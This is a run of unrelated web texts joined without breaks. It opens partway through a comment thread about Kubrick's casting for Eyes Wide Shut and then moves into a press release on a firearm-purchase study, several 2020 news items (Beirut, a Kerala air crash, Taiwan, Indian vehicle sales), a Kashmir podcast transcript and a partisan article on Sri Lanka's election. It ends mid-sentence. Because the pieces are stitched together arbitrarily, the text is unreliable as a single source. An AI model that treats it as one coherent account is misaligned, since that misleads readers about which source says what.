*lot* over the course of 20 years, to the point where the character did a total 180. But regardless nobody wants to see Woody Allen f*ck. Reply Parent Thread Link I won't defend Kubrick on other things, but the headline is very bait-y, cus the synopsis here says that Allen and Steve Martin were the actors Kubrick considered in the '70's. by the '80's he moved on to a whole new list Reply Parent Thread Link That Tom Cruise anecdote. Just her pivoting from, "He objectified me, in front of me, to another man" and then "he's the single most professional person you will ever meet". Reply Thread Link Yeah I thought that was weird. I had to read it a few times over. Reply Parent Thread Link Yeah idk how that's professional.... Reply Parent Thread Link Yeah, idk if she thought "oh shit, I've said too much, better compliment him so Scientology doesn't come after me" or if she's so used to being more blatantly objectified as a model/actress that it barely registered as unprofessional. Reply Parent Thread Link That was pretty gross of Tom. Eyes wide shut is probably one of favorite Kubrick films. I remember reading about considering Steve Martin for the role at one point. Reply Thread Link Eyes Wide Shut and 2001 are my favourite Kubrick films by far. Reply Parent Thread Link 2001 definitely. I always really Strangelove! I wish he had done more comedies. Full Metal Jacket was good too. Reply Parent Thread Link I love Eyes Wide Shut. There's something about the story that has stayed with me all these years. I also feel Nicole's line delivery when she talks about wanting to leave her marriage ("If you only knew") is one of the greatest scenes in cinema. I FELT that. Reply Parent Thread Expand Link Steve Martin is really good at serious roles, I think he would have been great. I still love Shop Girl Reply Parent Thread Link ew at all of this lmao. the only interesting choice out of those names is tom hanks imo cuz i could not fathom him doing a role like in eyes wide shut, even though he's a good actor. i don't know his whole filmography, but he's played mostly good guys throughout his career I think. Reply Thread Link He is kind of a bad guy in Road to Perdition, but has his reasons in doing so. The film is worth a watch despite Daniel Craig's genuinely appalling attempt at an American accent. Reply Parent Thread Link Ugh that movie makes me weep :'( Oh Dad Hanks Reply Parent Thread Link I watched Rainy Day In New York and it was hot garbage. It baffles me that people still defend W.A. when hes not even making good movies anymore. Reply Thread Link my sister was like "oh we watched midnight in paris" when I asked her what she did over the weekend... I was like "hm well I am not watching his movies anymore because he's a pedophile" and her reaction was like basically like "oops I forgot / at least I didn't pay for it" I find I have to remind my family a lot that he's a scumbag. People just don't want to remember! Reply Parent Thread Link The only redeeming thing about that movie is the Paris montage at the beginning. Everything else is crap. Reply Parent Thread Link It baffles me that people dont care that he is a whole ass pedophile and MARRIED TO HIS STEPDAUGHTER. What also shocks me is when someone lists their favorite movies and one of his is on there. Its like, maybe just leave him off the list entirely. Reply Parent Thread Link disgusting Reply Thread Link A new firearm study led by NYU Tandon Institute Professor Maurizio Porfiri reveals why people buy guns after a mass shooting; It kicks off a much larger study -- the first of its kind -- on individual, state, and national drivers of firearm behavior BROOKLYN, New York, Tuesday, August 11, 2020 - Surges in firearm acquisition after mass shootings is a well-documented phenomenon, but analytic research into the causes of this behavior -- be it driven by a desire for self-protection, or a fear that access to firearms will be curtailed -- is sparse. A new study applying a data science methodology of state-by-state data to infer causal relationships finds that the decision to purchase a gun is driven by the latter concern -- stricter regulations on gun purchase and ownership -- more than by a desire to protect oneself after a mass shooting. The study, led by Maurizio Porfiri, Institute professor at NYU Tandon, is his second in a year to examine causative factors driving consumer firearm-purchase behavior. It also presages a much more comprehensive effort backed by a $2 million grant from the National Science Foundation (NSF). The project, funded under the NSF's LEAP HI program (Leading Engineering for America's Prosperity, Health and Infrastructure), will examine causal relationships between potentially contributing factors as firearm prevalence, state legislation, media exposure, and people's opinion on firearm-related harms, at the individual, state, and nation levels. This will be the first research of its kind to unfold the firearm ecosystem simultaneously on three levels: Macroscale: causality between firearm prevalence and firearm-related harms at the national level Mesoscale: policy diffusion across states Microscale: individual opinions about firearm safety "By cogently linking these scales, we will lay the foundation for analysis, diagnostics, and prediction of firearm-related harms," said Porfiri. The research effort, 'Understanding and Engineering the Ecosystem of Firearms: Prevalence, Safety, and Firearm-Related Harms, will be orchestrated by a multidisciplinary team comprising co-principal investigators Oded Nov, a professor of Technology Management and Innovation at NYU Tandon; Igor Belykh, a professor of Mathematics and Statistics at Georgia State University; James Macinko, a professor of Health Policy and Management at the University of California Los Angeles; and Rifat Sipahi, a professor of Mechanical and Industrial Engineering at Northeastern University. Also involved are Shinnosuke Nakayama, formerly a post-doctoral associate in Porfiri's lab at NYU Tandon and now a data research scientist at the Center for Ocean Solutions at Stanford University; and Maria Grillo, a project associate in the Institute for Invention, Innovation, and Entrepreneurship at NYU Tandon. New research comprises three studies focused on state-level data The newly-published research, "Self-protection versus fear of stricter firearm regulations: examining the drivers of firearm acquisitions in the aftermath of a mass shooting," appears in the Cell Press journal Patterns. It comprises three studies based on data the team collected on mass shootings, federal background checks related to firearm purchases, media output on firearm control and shootings from several media outlets in the country, and firearm safety laws from 1999 to 2017. The authors of the new study, including Roni Barak-Ventura, research assistant in Porfiri's Dynamical Systems Laboratory and Manuel Ruiz Marin of the Technical University of Cartagena, Spain, puts forward a data science framework, based on the mathematical construct of transfer entropy to discover causal links between multiple variables by examining the degree to which one variable influences another. In these analyses, influence is defined as an improved ability to make predictions about the future status of a variable (in this case, background checks) based on present knowledge of another variable (for example, media stories about gun control policy). The team first conducted a cluster analysis to partition states according to the restrictiveness of their firearm-related legal environment. That was followed by a transfer entropy analysis to unveil causal relationships at the state-level between mass shootings, media coverage of gun violence, media coverage of firearm regulations, and background checks. The first study examined how the occurrence of mass shootings in the nation, media reports about shootings, and media reports on firearm control influence the number of background checks in firearm restrictive and firearm permissive states. The researchers found that increased media coverage of firearm control influenced background checks in permissive states. The second study tested whether the location of a mass shooting had a potential influence on the number of background checks across the country. The researchers found that the number of background checks in one state was not significantly affected by mass shootings in another, irrespective of their location or the state's restrictiveness. The third study looked at the influence on the number of background checks in a given state of background checks in geographically neighboring states. The team found a strong interaction among states, whether they are permissive or restrictive, so that firearm purchases in a state determine purchases in neighboring state. "The analysis suggests that fear of stricter firearm regulations is a stronger driver than the desire of self-protection for firearm acquisitions," said Porfiri, who is on a research sabbatical at the Technical University of Cartagena, Spain. "This fear is likely to cross states' borders, thereby shaping a collective pattern of firearm acquisition throughout the nation." Ruiz Marin added that "This research brings forward an alternative data science methodology to examine causal links in spatio-temporal data, with potential application to the study of a number of problems in economics and social sciences." Porfiri's first study of this kind, published in Nature Human Behavior in September, 2019, similarly applied entropy transfer techniques to mass shootings and the publicity around them, and demonstrated the potential of quantitative methods, grounded in engineering principles, to elucidate key aspects of the firearm ecosystem. "Engineering, by definition, applies mathematical tools and scientific principles to real-world challenges. Porfiri's work -- the importance of which is reflected in the generosity of the NSF LEAP HI award -- is proof positive that engineering offers solutions beyond hardware, software, chemical innovations, and physical structures," said Jelena Kovacevi?, Dean of the NYU Tandon School of Engineering. "Indeed, Porfiri's research brings hard data and rigorous analytics to bear on the sometimes amorphous patterns and influences that drive our society and, ultimately, shine a light on the machinery of our democracy." ### The research was supported by an internal grant from New York University, the Fundacion Seneca of the Region of Murcia, Spain, and the Mitsui USA foundation. About the New York University Tandon School of Engineering The NYU Tandon School of Engineering dates to 1854, the founding date for both the New York University School of Civil Engineering and Architecture and the Brooklyn Collegiate and Polytechnic Institute (widely known as Brooklyn Poly). A January 2014 merger created a comprehensive school of education and research in engineering and applied sciences, rooted in a tradition of invention and entrepreneurship and dedicated to furthering technology in service to society. In addition to its main location in Brooklyn, NYU Tandon collaborates with other schools within NYU, one of the country's foremost private research universities, and is closely connected to engineering programs at NYU Abu Dhabi and NYU Shanghai. It operates Future Labs focused on start-up businesses in downtown Manhattan and Brooklyn and an award-winning online graduate program. For more information, visit engineering.nyu.edu. A week ahead of the fall 2020 semester, University of North Georgia (UNG) President Bonita Jacobs praised the flexibility of students, faculty and staff in the midst of the COVID-19 pandemic. "The pandemic has been disruptive to our work, but it has highlighted our agility, resiliency and innovation," Jacobs said in her State of the University address as part of the Faculty and Staff Convocation. See the full text of her speech. The annual Faculty and Staff Convocation, which moved to a virtual experience due to COVID-19 social distancing, included professional development through the second annual UNG Learning, Engagement, Achievement, Development, Service (LEADS) Day. Sessions focused on topics related to student success and diversity and inclusion. Jacobs emphasized the importance of health and safety protocols in returning to campus successfully. "We are providing a campus-based experience with as much flexibility as possible for as many people as possible. The situation remains quite fluid, and our operations may have to adapt over time to changing conditions," Jacobs said. "While we cannot eliminate the risk of COVID-19, everyone can help mitigate the risk. Don't come to campus if you are sick or if you have been directly exposed to someone with the virus, social distance, wash your hands, and, of course, wear a mask. These are all necessary steps to maintaining a healthy and safe environment for all of us to live, work and learn." Jacobs noted that the University System of Georgia's (USG) recent enrollment projections predict moderate growth for UNG of 8.9% about 1,700 students over the next 10 years. UNG's projected growth rate is second only to Georgia Tech. UNG also had record enrollment for the 2019-20 academic year and set a summer enrollment record in 2020. "Our history of academic excellence is one of the factors that attracts students to UNG," Jacobs said. "And this year there were amazing examples that highlight the opportunities that we provide students and faculty." Some of UNG's accomplishments include: Jacobs affirmed her commitment to awarding Presidential Incentive Awards in the midst of budget cuts. These awards are given annually to support faculty and staff professional development and the pursuit of new and innovative ideas that support UNG in fulfilling its mission. "We are studying the budget, and I am optimistic that, while we may not be able to provide as much funding as in previous years, we will be able to continue with Presidential Incentive Awards," Jacobs said. "These are important endeavors that directly enhance your expertise, our students' educational experiences, and innovations that improve professional practices." She is eager to see how students, faculty and staff rise to the challenges they face this fall. "The days ahead may not be easy, but the University of North Georgia is strong, and I am optimistic about our future," Jacobs said. "I am grateful for the invaluable support and leadership from so many in our university community." Lebanese Justice Minister Marie Claude Najm said in a statement on Monday (August 10) she had presented her resignation from the government, citing the catastrophic explosion at the port of Beirut. Najm visited the blast area on Thursday (August 6), only two days after the explosion, and was surrounded by an angry group of protesters who threw water bottles in her direction, forcing her to retreat from the scene. Lebanon's cabinet, which formed in January with the backing of the powerful Iran-backed Hezbollah group and its allies, was due to meet on Monday under pressure with many ministers wanting to resign, ministerial and political sources said. Anti-government protests in the last two days have been the biggest since October when demonstrators took to the streets over an economic crisis rooted in corruption, waste, and mismanagement. Protesters accused the political elite of exploiting state resources for their own benefit. Some Lebanese doubt change is possible in a country where sectarian politicians have dominated the country since the 1975-90 civil war. Captain Deepak Vasanth Sathe was cremated in Mumbai on Tuesday with full state honours with representatives from army, navy, coastguard, Mumbai police and city mayor apart from family members and politicians paying their tributes in person. Sathe had died in the crash of an Indian Express flight with 190 people on board from Dubai which fell into a 35 feet deep valley after overshooting the runway at the tabletop Karipur Airport in Kerala in rainy conditions on Friday. Sathes co-pilot Captain Abhishek Kumar, too, died in the incident. Sathe was known as a highly experienced commercial pilot, who had earlier served in the Indian Air Force. He had 10,000 hours of flying experience on the Boeing 737 aircraft. He had flown 6,662 of these hours as the commander. Several experts believe that his experience saved the aircraft from catching fire after the crash and resulting in a bigger disaster. 18 people were killed in the crash and several others are undergoing treatment for injuries. Also Read: Maharashtra govt to accord state funeral to Air India pilot Capt Deepak Vasant Sathe Maharashtra government head earlier announced state funeral for Sathe saying his life will inspire young pilots to achieve Sword of Honour and command over skies. A resident of Chandivali in Mumbai, Captain Sathes last rites were performed at the Tagore Nagar electric crematorium in Vikhroli. Several people lined up the road as the funeral procession started from his residence, reported a news agency. Authorities, however, didnt allow a large gathering at the funeral in view of the restrictions in place to contain the spread of Covid-19 outbreak. Sathes father, Colonel Vasant Sathe (Retd), 87 and mother Neela, 83, were present at the Chandivli residence, where floral tributes were paid to the deceased before the final procession for the crematorium began. Sathes mortal remains were flown to Mumbai on Sunday and kept at the Air India facility near Terminal 2 of the Chhatrapati Shivaji international airport for some time before being taken to Bhabha Hospital in Bandra. On Tuesday morning, the body was brought from the hospital to the family home in Chandivali. Residents of the housing complex paid tributes to the pilot. Some were seen saluting him from their balconies. The pilots US-based elder son Shantanu also reached Mumbai on Monday for the last rites, according to PTI. Homewood Mayor Rich Hofeld said police contacted businesses along Halsted and told them to close after getting information of a potential looting threat that was deemed credible. No incidents had been reported as of Monday afternoon, he said. Raised in a rowhouse in what is now the Belair-Edison neighborhood of Northeast Baltimore, the boy attended the now-closed Shrine of the Little Flower School and what was then called Loyola High School. He joined the Air Force and soon was stationed at Scott Air Force Base in southern Illinois. Thats where he met Eileen Kalert, a malt-shop waitress who would become his wife and the mother of their three boys. Taiwanese Foreign Minister Joseph Wu on Tuesday condemned China for putting pressure on Taiwan. Speaking to journalists in Taipei after a meeting with U.S. Health and Human Service Secretary Alex Azar, Wu claimed people's lives had become increasingly difficult as China continues to pressure Taiwan into accepting its political conditions. He accused China of attempting to turn Taiwan into "the next Hong Kong". Wu said Taiwan has donated 51 million surgical masks worldwide to provide protection to medical personnel on the coronavirus frontline, but the government had to deliver donations quietly to keep the recipient countries free from Beijing government's interference. U.S. Health and Human Service Secretary Alex Azar meanwhile said that Taiwan had not been able to participate in the World Health Organization as an observer in the past four years. He argued he had witnessed the negative results of Taiwan's exclusion from the international society, especially during the pandemic, adding that he thought international organizations should not become a field for playing politics, especially on the health care issues. Azar and Wu held a closed-door meeting focusing on public health and Taiwan's international participation. The most badly affected sector because of the abrogation of Article 370 is the education sector. "It's better now. We at least have network now, we have 2G," says Quratulain Rehbar, a Kashmiri journalist on how things have become marginally better as compared to the total communication clampdown last year, following the revocation of Jammu and Kashmir's special status. The reasons cited by the government for abrogation of Article 370 and Article 35A included facilitating development of the state. This series will attempt to revisit where things stand a year from 'Voices from the Lockdown'. While the initial podcast was created to facilitate a smooth flow of information from the state under lockdown, episodes to come will attempt to reevaluate things as they stand today. Through the lives of the people in the thick of it all, each episode will explore the different facets of a life lived in constant lockdown, and the impact it has on the community. In today's episode, punctuated with opinions from students and teachers, Kashmiri journalist Quratulain Rehbar helps us understand the impact the past year has had on education in Kashmir. Full script of the episode: The most badly affected sector because of the abrogation of Article 370 is the education sector. Hi I am Greeshma Kuthar and this is Voices from the Lockdown, a Firstpost podcast. It has been a year since we saw the revocation of special status to the State of Jammu and Kashmir. The reasons that the Indian government presented for the abrogation of Article 370 and Article 35A was in their words, to facilitate development. When I started Voices from the Lockdown in 2019, the attempt was to facilitate smoother flow of information from parts of Jammu and Kashmir, especially Kashmir as it was in a perpetual state of lockdown for months together. In the episodes to come, we will attempt to revisit where things stand one year since Jammu and Kashmir was stripped off its statehood. We will try and understand the situation on the ground, both in terms of this constant talk of development and in real terms, through the lives of the people of Jammu and Kashmir. Today Ill be discussing how Kashmir is, one year since August 5 of 2019. Joining me to help us see how it is like in Kashmir is Kashmiri journalist Quratulain Rehbar. It has been close to a year since weve started recording episodes for this podcast. When we initially started, I remember the troubles you had to go through, just to get to a phone so that you could record with me. Since then, have things changed? For the better or for the worse? Qurat: Right now I will speak about Kashmiris under curfew and heavy restrictions on the movement of people. Post August 5, there was a complete communication blackout in Kashmir. We used to access internet from the Media Facilitation Centre which was provided by the government and the speed was too frustrating. But it eventually got a little normal in areas where 2G speed internet and phone networks were restored. This time I must say that not entirely but things are better in terms of communication like we have network, we have 2G speed internet and I must say that the speed of the internet is so frustrating. I mean, we still have low speed internet from a year to this point. Greeshma: In his 2019 speech a year back in the Parliament, Home Minister Amit Shah said and I quote, The revocation of Article 370 helps break the monopoly that was set by the previous lawmakers of Kashmir. Industry, healthcare, and education in Kashmir was stalled due to Article 370. Removal of Article 370 will pave the way for Kashmirs development, it is especially for the youth of Kashmir. One year since, are there changes in Kashmir, as Amit Shah said there would be? Has the revocation of special status to Kashmir been beneficial to Kashmir? Qurat: When Home Minister announced abrogation of Article 370, he promised prosperity, development and peace. However, since then as the year passes, the region has descended into crises situation with economy, education institutions shut. One of the tragic part of the Kashmir story have been its students. Patients are highly discouraged to reach the hospital. Doctors and healthcare workers have been affected and internet has also made their jobs difficult. Recently, there came a report that almost 4 lakh people in Kashmir have lost their jobs. So, we can say that nothing has changed on ground. Greeshma: Before we venture into a specific conversation where we look at education, let me playback an excerpt from an interview with Mubashir Pandit, a school teacher from Kashmir. Mubashir: To be very honest, I would like to say that the most badly affected system because of the abrogation of Article 370 it was education sector because the students had to stay at home and they were not able to go to school. And you know the internet was also banned during that tenure and because of that we were not able to give online classes as well. To be very honest, let me speak this thing that online classes are not relevant as to the environment in our classrooms. Being a teacher, I miss my classroom, that environment at school. We can give moral classes and lessons to students. These things are not possible on online classes so it was very very badly affected sector. Let me tell you we cannot recover that loss. We teachers also suffered a lot because firstly our health because we had to prepare and deliver our lectures online and that affected our health and mental health as well. Most of the teachers who were working in the private sector have lost their jobs. And we teachers, we haven't received our salaries since August 2019. Schools are not getting their fees because the parents are denying to pay the fee because they are saying that our wards are not coming to school and so they are not willing to pay the fee. The management of the school are not willing to pay our salaries. It was Eid and without salaries we have suffered a lot as well. We are educated ones, we are surviving somehow but because of abrogation of these articles and because of this corona, we have lost everything. We have lost hope. To be very honest, many are thinking of suicide as well. Greeshma: Qurat, youve spoken to students and teachers in Kashmir. Do you want to elaborate on why Mubashir said the worst affected due to the uncertainty in the valley has been the education sector? Qurat: Because as I already mentioned that students in Kashmir have not attended school for a year except for a week's time in February. The students in Kashmir barely have internet, it has been difficult for teachers to give online lectures as well. Students feel a kind of loss and despair. They have not attended school and other curriculum activities which doctors say are very important for students for their mental health, for their peace. And if we talk about teachers, they have not received their salaries for months. We can say that students somehow managed to give their online exams but most of the teachers and students they have called it a formality. Valley has around 700 private schools with around 6,50,000 students enrolled in them. The clampdown on education kind of destructed their livelihood. Teachers like them and also other staff. It indicates that how education has been affected in Kashmir. Greeshma: There have been virtually no classes, though the Indian government has claimed that schools and colleges have been functioning. Additionally there has been no internet or very limited internet connectivity, even if the students were to study online or take online classes. How have these difficulties affected students at large Qurat? Qurat: It is not just that online classes are not happening properly. According to various reports, almost 12 lakh students in Kashmir are staying in their homes. This means the routine of students has completely changed. There are no extra curricular activities. Also, what's most important to schooling is student-teacher physical interaction or communication between them, which is missing now. Sometimes a student is unable to share his things with family but to their teacher, we can say that the extended lockdown has put a halt on these things. They cannot grow in a confined atmosphere because thats not normal for their growth. Planning ahead for a career is also not possible without this interaction. Students have told me that it is difficult for them to seek guidance from teachers or advice about their future. I mean the physical counselling is also missing for a year. That is as far as school students are concerned. The difficulties of college students who are in Kashmir now and have colleges in various parts of India, they are facing problems from college administrations. A student I interviewed from Bangalore told me that how difficult it was for him to send his HOD the proof of internet ban in Kashmir. He used to send him reports of how many times the internet has been banned in Kashmir because his HOD used to ask him about his location as he felt that the boy was lying about the internet not working. There is this problem as well when it comes to students who are studying outside, they will be misunderstood. Before we proceed further let me play back a conversation with Zaid Kirmani, a law student from Kashmir. Zaid: No one really thought that entire lockdown would last for as long as it did. I personally thought it would be for 10-15 days and then we will go back and finish our examination. Personally for me what the I lost was, I lost one entire year which ended up adding another year, making a five year degree became a six year degree essentially. It's a very old running joke in Kashmir university that you know a five year degree takes six or seven years because of the shutdown. Personally for me it was a huge loss of time. Honestly, all of us students were at loss because this is a professional course, this is the law. You need someone to teach you the new answers, you need someone to explain it to you. No matter how much you try to study on your own it won't happen. It would have been an entirely different thing altogether if we had internet to look up. We can clear our doubts on the internet but that was obviously not going to happen. When you live in a place like Kashmir there is an acute lack of exposure from school itself. Other people who are not in war torn territory such as Kashmir get that exposure but we don't, we don't even get internet properly. Greeshma: This constant uncertainty that Zaid mentions is probably making it very difficult for college students to plan ahead. How are students dealing with this prospect of an uncertain future? Be it in terms of their studies or its completion, or even prospective employment. Qurat: I had a talk with Zaid and he also said that he was uncertain about his future because he cannot think of his future in Kashmir as every year there is some kind of unjust. So, he has to look for the opportunities outside. Almost every student in Kashmir apply for scholarship and fellowship outside because they feel that they cannot do anything in Kashmir. They cannot do anything good for them because if they go to private sector, there are lack of jobs. As government claimed that we will provide jobs and they had claimed in the parliament after abrogation of the article that they will provide jobs but If we see today people have infact left their jobs. Students are also quite traumatised about what we will do for our future, we now have more competition. They are in despair, they don't know what to do. Now they are just living with it. Thank you Qurat for speaking to us today. In the next episode, well look at what has happened to the economy and employment through more interviews with the people of Kashmir. Before we wrap us, let us listen to Saliq Parvaiz talk about how students in Kashmir have been preparing themselves to take on the impediments caused by the revocation of Article 370. Saliq is a student from the Central University of Kashmir. Saliq Parvaiz: Firstly I am a DRF scholar right now in Central university of Kashmir. I was supposed to get the admission in August 2019. But that was delayed and started in December 2019. Since I am a DRF scholar, I am also supposed to get a stipend every month. Rather than getting my stipend from August 2019, I got it from March 2020. So there is a delay. Stipend is very important for a working scholar as most of us support our families too. Second thing is that as a researcher you have to go through a lot of literature and most of it we have to do online because the university was closed, there were constant strikes and curfews and the internet is also not working properly. So, there is this new thing we are trying to do is, we are preparing and searching for the study material as we keep it in our minds that we may not have internet today or tomorrow even if it's 2G. Internet can be snapped at any time because either a encounter or a strike, anything can happen. It is the anniversary today of Article 370. Actually most of us were shocked that the internet is still working because that's what we expect now. That's how we go about our studies, we have planned it in such a way that we have included information blockage and communication gaps into our study schedule. That is all from this episode of Voices from the Lockdown. For previous episodes, visit the Firstpost channel on audioboom.com. The Sri Lankan media has responded to last Wednesdays election win of President Gotabhaya Rajapakses Sri Lanka Podujana Peramuna (SLPP) by falsely hailing it as a peoples victory. The SLPP won 145 seats while the opposition parties won just 74 seats. As a result, with the votes of six MPs from political allies, the SLPP will have a two-thirds majority in the 225-seat parliament, enabling it to change the constitution. President Rajapakse has been openly campaigning for the removal of constitutional restraints to the executive presidency which would give him sweeping autocratic powers. The election result is not a peoples victory but an electoral win by a party preparing for authoritarian rule under President Rajapakse who has already appointed a host of generals to his administration. The new cabinet will be officially appointed tomorrow and the new parliament convened on August 20. SLPP leader Mahinda Rajapakse was sworn in as prime minister by his brother President Rajapakse on Sunday. The ceremony was held at Kelaniya Viharaya in northeastern Colombo, a site mythically claimed to have been visited by Buddha. Significantly, President Rajapakse took his oath in Anuradhapura, the ancient Sinhala capital, in the north-central province. Both leaders are thus signalling the Sinhala-Buddhist supremacist character of their regime. Sinhala-Buddhist supremacism was the main plank of the SLPPs presidential and general election campaigns. Its purpose was to whip up hostility against the islands Tamil and Muslims minorities, divert social tensions and divide the working class across ethnic lines. The Sri Lankan ruling elite faces a profound economic and political crisis that has been exacerbated by the COVID-19 pandemic. It has backed the SLPP because it promised strong and stable rulei.e., its willingness to suppress rising working-class resistance to Colombos austerity policies and attacks on jobs and wages. Like its counterparts internationally, Sri Lankan big business wants the economy restructured and their profits increased by slashing jobs, imposing lower wages and increasing productivity. The ruling class has turned to the SLPP and its authoritarian plans under conditions of a historic collapse of the United National Party (UNP) and Sri Lanka Freedom Party (SLFP), the two traditional parties of the Sri Lankan bourgeoisie. The UNP, the countrys oldest political party, was only able to win one seat, not in a direct contest but as a result of its national vote, which plummeted to just 250,000. The bitterly-divided party split in February when the majority of its MPs, under the leadership of Sajith Premadasa, left to form the Samagi Jana Balavegaya (SJB). The factional conflict centred on the electoral unpopularity of longstanding UNP leader and former Prime Minister Ranil Wickremesinghe. The issue, however, was not a question of personality but the deep-seated hostility of workers and the rural poor to this pro-imperialist party and its attacks on democratic and social rights. The SJB won just 54 seats and 24 percent of votes in last weeks election. The SLFP, led by former President Sirisena, is all but defunct. The majority of its MPs left the party and joined the SLPP when it was formed in 2016. Sirisena and the remaining SLFP parliamentarians contested last Wednesdays ballot in an electoral alliance with the SLPP. Consecutive UNP and SLFP administrations have governed the country since formal independence in 1948. The UNP was established in 1946 while the SLFP was formed in 1951 by S.W.R.D. Bandaranaike and other MPs who split in response to rising working class struggles against the UNP. Whether in or out of government, both parties used anti-Tamil communalism to divide the working class and defend capitalist rule. This reactionary agenda culminated in the communalist war in 1983 against the separatist Liberation Tigers of Tamil Eelam (LTTE) creating untold devastation for the masses throughout the island. Wednesdays elections also exposed the ongoing crisis of the bourgeois Tamil National Alliance (TNA). It won just 10 seats, down from 16 in the last parliament, with its overall vote falling from 515,963 in the August 2015 election to just 327,168. The Illankai Tamil Arasu Kachchi (ITAK), the principal party in the alliance, was formed in 1949 in response to the anti-Tamil communalism. ITAK has a long and sordid history of attempting to secure power-sharing arrangements with the Colombo elite. These political manoeuvres have produced one disaster after another for the Tamil masses. Formed in 2002, the TNA responded to the LTTEs defeat in May 2009, by shifting further to the right, and appealing to the major imperialist powers, including the US, to secure their backing for a deal with Colombo. The TNA supported Washingtons 2015 regime-change operation to oust then President Mahinda Rajapakse and to install Sirisena. It backed Sirisenas pro-imperialist administration and its suppression of any investigation into Colombos war crimes, including the massacre of tens of thousands of Tamil civilians in the final weeks of war, and also supported the governments austerity measures (see: Tamil National Alliance offers to support Sri Lankan presidents autocratic rule). The Janatha Vimukthi Peramuna (JVP) contested the election in a new front called the National Peoples Power (NPP) offering populist demands and calling for a clean uncorrupted parliament. It won three seats, down from six in the previous parliament. In 2004, the JVP had 39 MPs. Established in the late 1960s, the JVP was a radical petty-bourgeois party based on a mixture of Castroism, Maoism and Sinhala patriotism. It is now a party of the bourgeois establishment and since 1994 has aligned itself with every regime in Colombo. This includes joining a coalition with President Chandrika Kumaratunga in 2004. Having fully backed Colombos communalist war it is widely discredited among the youth and workers initially attracted to it. Commenting on last Wednesdays election, JVP leader Anura Kumara Dissanayake said, This result is not one we can be satisfied with but added there is a role for the Opposition outside the parliament as well, and said the organisation would organise farmers and unemployed. As its previous history demonstrates, the JVP will work with the ruling elites to derail rural poor and youth from turning towards socialism and the working class. The deep-going alienation of the masses from the political establishment was also revealed by the millions of Sri Lankan citizens who refused to participate in the election. While there are more than 16 million registered voters in Sri Lanka just over 11 million votedi.e., about 4.7 million did not cast a vote. This is about one million more than the previous national election in 2015, and of those that participated in Wednesdays election, 700,000 cancelled their votes. The media rejoicing about the SLPP victory is an expression of their support for the future governments social assault on all working people. As an August 6 editorial in the Island entitled Real war ahead declared: A democratically elected stable government is a prerequisite for restoring investor confidence, reviving the economy, and improving the countrys credit ratings. It is not enough for parties to just call for stringent measures, the editorial continued, The interval in hell, as it were, we have been enjoying all these months will be over soon. In other words, massive government attacks must be unleashed on workers, the rural poor and youth as soon as possible. In last Wednesdays election, the Socialist Equality Party increased its total vote to 780 in the three districts that it contestedJaffna 146, Colombo 303 and Nuwara Eliya 331. The partys vote doubled in Colombo, the countrys major working-class centre and in Nuwara Eliya, where the majority of Sri Lankas plantation workers live. This increase was amid the COVID-19 pandemic, where party campaigns were limited to online meetings and Facebook sharing of SEP statements and World Socialist Web Site articles. These conscious votes indicate a growing support for socialism in Sri Lanka. The SEP will intensify its exposure of the Sinhala chauvinist provocations against Tamil and Muslim minorities that seek to divide workers. It was the only party that opposed Colombos communalist war against the LTTE and demanded the withdrawal of the military from the north and east of the country. Our party advances a socialist policy against imperialist war, the coronavirus pandemic and social inequality. We alone call for the working class to break from every faction of the ruling class and independently mobiliserallying the rural poor and the oppressedto fight for a workers and peasants government to implement socialist policies as part of the struggle for international socialism. live bse live nse live Volume Todays L/H More Tata Motors and Mahindra & Mahindra have locked horns for supremacy in not just the car and SUV segment but the commercial vehicle segment as well. In July, the two Mumbai-based companies lost their long-held positions to each other, actual vehicle registration data provided by the Federation of Automobile Dealers Associations (FADA) show. Passenger vehicle segment Tata Motors displaced M&M in the passenger vehicle (car, SUV and van) segment to grab the third spot, behind Maruti Suzuki and Hyundai. M&M was pushed down to the fourth spot. Tata Motors saw 12,753 registrations for its PVs in July, resulting in a market share of 8.10 percent (6.07 percent in July 2019). In comparison, M&M saw 7,811 registrations and a share of 4.96 percent in July (8.47 percent in July 2019). Deliveries of the new model, Altroz, and the restyled range of Bharat Stage VI models such as Nexon and Tiago pushed volumes for Tata Motors. Speaking to analysts, Shailesh Chandra, President, Passenger Vehicles Business Unit, Tata Motors, said: Production could only restart in a proper manner in June. And post that, we have steeply ramped up in July to service very strong demand. M&M officials blamed a fire at one of its headlamp and tail-lamp suppliers for crippling production of some models, including the Marazzo and XUV300. Speaking to analysts Rajesh Jejurikar, M&Ms Additional Director & Executive Director, Automotive and Farm Sectors, said: We had to start prioritising models after the lockdown. Given the strong rural pull we had started prioritizing the Scorpio and Bolero. So some of our models haven't even got out yet that's all pent-up (demand) and for Marazzo, XUV 300 and XUV 500. Commercial vehicle segment But the commercial vehicle (CV) space paints a completely different picture. Mahindra snatched the top spot from Tata Motors in the CV segment in July, perhaps for the first time ever, according to FADA data. Tata Motors was the unchallenged leader in the CV segment for several years, mirroring the success of Maruti Suzukis dominance in the PV segment. M&Ms market share jumped to 46.29 percent in July (24.75 percent in July 2019) with registrations of 8,930 units. Tata Motors market share during the same month nearly halved to 21.03 percent (40.11 percent in July 2019) with registration of 4,058 units. With Mahindra claiming the top spot and Tata Motors pushed down to the second, Ashok Leyland continues in the third spot. There is an overall increase in rural demand and that is leading to movement of goods and agriculture. So we are seeing a very positive demand for pickups. Small commercial vehicle (SCV) demand is picking up because of the need for last-mile mobility. There is a lot of demand for SCV ambulances and we are struggling to ramp up to requirements, Jejurikar added. The commercial vehicle category has been even more severely hit than the passenger vehicle segment because of slow national economic momentum. Smaller CVs, which cater to last-mile distribution, are gathering speed but the larger, medium and heavy (M&HCV) truck and bus segment are yet to come out of the woods. One sees higher demand for last-mile distribution, which is addressed by small commercial vehicles. In terms of demand contraction, it is maximum in medium and heavy commercial trucks as well as buses, Girish Wagh, President, Commercial Vehicles Business Unit, Tata Motors, told analysts. Tata Motors' share in the M&HCV segment stood at 58 percent as of June, as per wholesale volumes data provided by the Society of Indian Automobile Manufacturers. However, the M&HCV segments share in India's total CV tally tumbled to 14 percent till June from 36 percent in the same period last year. The numbers for July are yet to be shared by SIAM and FADA has not shared segment-wise data. That small commercial vehicles have generated stronger traction is clear from the numbers for Maruti Suzuki, which has a presence in the commercial vehicle segment with two SCVs a van and a mini truck. Maruti's share in the CV space more than doubled to 7.12 percent in July (3.18 percent in July 2019), as per the FADA numbers. Photo for illustration China ranked first among markets importing fruits and vegetables from Vietnam, with a share of more than 59%. Most markets saw value rise such as the Republic of Korea (25.5%), Thailand (234%), the US (nearly 10%), and Japan (13%). The ministry reported fruit and vegetable export value reduction was due to decrease in some key items, including blue dragon fruit, which made up the biggest market share, down 6%, banana 9.5%, durian 